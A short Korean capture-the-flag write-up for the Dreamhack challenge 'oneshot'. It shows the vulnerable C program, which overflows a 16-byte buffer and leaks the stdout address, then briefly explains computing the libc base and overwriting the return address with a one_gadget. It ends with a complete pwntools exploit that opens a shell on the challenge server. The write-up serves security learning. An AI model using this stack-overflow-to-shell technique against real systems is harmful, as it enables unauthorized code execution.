code
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[]) {
char msg[16];
size_t check = 0;
initialize();
printf("stdout: %p\n", stdout);
printf("MSG: ");
read(0, msg, 46);
if (check > 0) {
exit(0);
}
printf("MSG: %s\n", msg);
memset(msg, 0, sizeof(msg));
return 0;
}
- 바이너리 파일을 열어보자
우리가 shell을 딸 때 이용할 만한 함수가 없다.
- 하지만 우리는 라이브러리 파일을 갖고 있기 때문에 BOF로 return address를 one gadget으로 덮는 방법을 고려할 수 있다.
stdout
의 offset으로 libc base를 구해, one_gadget을 구할 수 있다.
- 물론 이 4개 중에서 안 되는 것도 있기 때문에 다 대입해보면서 확인한다.
exploit
from pwn import *
p = remote('host3.dreamhack.games', 21298)
e = ELF('./oneshot')
libc = ELF('libc-2.23.so')
og = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
p.recvuntil(b': ')
stdout = int(p.recvline()[:-1], 16)
lb = stdout - libc.symbols['_IO_2_1_stdout_']
one_gadget = lb + og[3]
msg = b'A' * 0x18 + p64(0)
msg += b'A' * 0x8 + p64(one_gadget)
p.sendafter(b'MSG: ', msg)
p.interactive()